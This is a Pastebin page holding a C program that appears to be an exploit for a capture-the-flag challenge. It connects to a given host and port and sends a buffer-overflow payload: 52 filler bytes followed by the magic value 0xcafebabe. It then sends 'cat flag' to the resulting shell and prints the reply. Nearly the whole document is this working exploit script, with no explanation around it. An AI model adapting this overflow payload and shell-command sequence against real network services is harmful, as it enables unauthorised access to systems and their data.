SHARE
TWEET

Untitled

MikeWalkerMRU Jun 4th, 2020 1,062 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <sys/types.h>
  4. #include <sys/socket.h>
  5. #include <netdb.h>
  6. #include <arpa/inet.h>
  7. #include <netinet/in.h>
  8. #include <stdlib.h>
  9. #include <unistd.h>
  10.  
  11. typedef struct
  12. {
  13.         int fd;
  14.         int is_done;
  15.         size_t pos;
  16.         size_t buflen;
  17.         char buf[BUFSIZ];
  18. } TEXTSCK;
  19.  
  20. int netgetc(TEXTSCK *stream);
  21. void textsckinit(TEXTSCK *stream, int fd);
  22. char *netgets(char *str, size_t size, TEXTSCK *stream);
  23.  
  24. int EstablishConnection(const char *host, const char *service_str);
  25. int GetData(int sock);
  26.  
  27. char *payload = {
  28.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" // 52 bytes
  29.     "\xbe\xba\xfe\xca"
  30.     "\n"};
  31.  
  32. int main(int argc, char **argv)
  33. {
  34.         if (argc < 3)
  35.         {
  36.                 printf("usage: %s server port\n", argv[0]);
  37.                 return 1;
  38.         }
  39.  
  40.         int sock = EstablishConnection(argv[1], argv[2]);
  41.  
  42.         if (sock <= 0)
  43.         {
  44.                 printf("Failed to connect to server\n");
  45.                 return 1;
  46.         }
  47.  
  48.         size_t sz_pl = strlen(payload);
  49.  
  50.         int nsent = send(sock, payload, sz_pl, 0);
  51.         if (nsent != sz_pl)
  52.                 fprintf(stderr, "something went wrong send(sock, payload, sz_pl, 0)\n");
  53.  
  54.         printf("sent %d bytes\n", nsent);
  55.         printf("payload %s", payload);
  56.  
  57.         sleep(1);
  58.         nsent = send(sock, "cat flag\n", sizeof("cat flag\n"), 0);
  59.         if (nsent != sizeof("cat flag\n"))
  60.                 fprintf(stderr, "something went wrong send(sock, \"cat flag\\n\", sizeof(\"cat flag\\n\"))\n");
  61.  
  62.         GetData(sock);
  63.         close(sock);
  64.  
  65.         return 0;
  66. }
  67.  
  68. int GetData(int sock)
  69. {
  70.         TEXTSCK stream;
  71.         char buf[1000];
  72.  
  73.         textsckinit(&stream, sock);
  74.  
  75.         while (1)
  76.         {
  77.                 if (netgets(buf, sizeof buf, &stream) == NULL)
  78.                         break;
  79.                 puts(buf);
  80.         }
  81.  
  82.         return 0;
  83. }
  84.  
  85. int EstablishConnection(const char *host, const char *service_str)
  86. {
  87.         struct addrinfo hints;
  88.         struct addrinfo *listp = NULL;
  89.         struct addrinfo *p = NULL;
  90.         int status;
  91.         int sck = -1;
  92.  
  93.         memset(&hints, 0, sizeof hints);
  94.         hints.ai_family = AF_INET;
  95.         hints.ai_socktype = SOCK_STREAM;
  96.         hints.ai_flags = AI_CANONNAME | AI_ALL | AI_ADDRCONFIG;
  97.  
  98.         status = getaddrinfo(host, service_str, &hints, &listp);
  99.         if (status != 0)
  100.         {
  101.                 printf("getaddrinfo error: (%s)\n", gai_strerror(status));
  102.                 goto done;
  103.         }
  104.  
  105.         for (p = listp; p; p = p->ai_next)
  106.         {
  107.                 sck = socket(p->ai_family, p->ai_socktype, p->ai_protocol);
  108.                 if (sck < 0)
  109.                         continue;
  110.  
  111.                 struct timeval timeout;
  112.                 timeout.tv_sec = 2;
  113.                 timeout.tv_usec = 0;
  114.                 if (setsockopt(sck, SOL_SOCKET, SO_SNDTIMEO, &timeout, sizeof(timeout)) < 0)
  115.                 {
  116.                         close(sck);
  117.                         goto done;
  118.                 }
  119.  
  120.                 if (connect(sck, p->ai_addr, p->ai_addrlen) != -1)
  121.                         goto done;
  122.  
  123.                 close(sck);
  124.         }
  125.         printf("all connects failed\n");
  126.  
  127.         close(sck);
  128. done:
  129.         if (listp != NULL)
  130.                 freeaddrinfo(listp);
  131.         return sck;
  132. }
  133.  
  134. void textsckinit(TEXTSCK *stream, int fd)
  135. {
  136.         stream->fd = fd;
  137.         stream->is_done = 0;
  138.         stream->pos = 0;
  139.         stream->buflen = 0;
  140. }
  141.  
  142. int netgetc(TEXTSCK *stream)
  143. {
  144.         if (stream->is_done)
  145.                 return EOF;
  146.  
  147.         if (stream->pos == stream->buflen)
  148.         {
  149.                 ssize_t nread = read(stream->fd, stream->buf, sizeof(stream->buf));
  150.                 if (nread <= 0)
  151.                         stream->is_done = 1;
  152.  
  153.                 stream->pos = 0;
  154.                 stream->buflen = nread;
  155.         }
  156.  
  157.         return stream->buf[stream->pos++];
  158. }
  159.  
  160. char *netgets(char *str, size_t size, TEXTSCK *stream)
  161. {
  162.         char *s = str;
  163.         int c = 0;
  164.  
  165.         if (stream->is_done)
  166.                 return NULL;
  167.  
  168.         for (size_t i = 0; i != size - 1 && c != '\n'; i++)
  169.         {
  170.                 c = netgetc(stream);
  171.                 if (c == EOF)
  172.                         break;
  173.  
  174.                 *s++ = c;
  175.         }
  176.  
  177.         *s = '\0';
  178.         return str;
  179. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top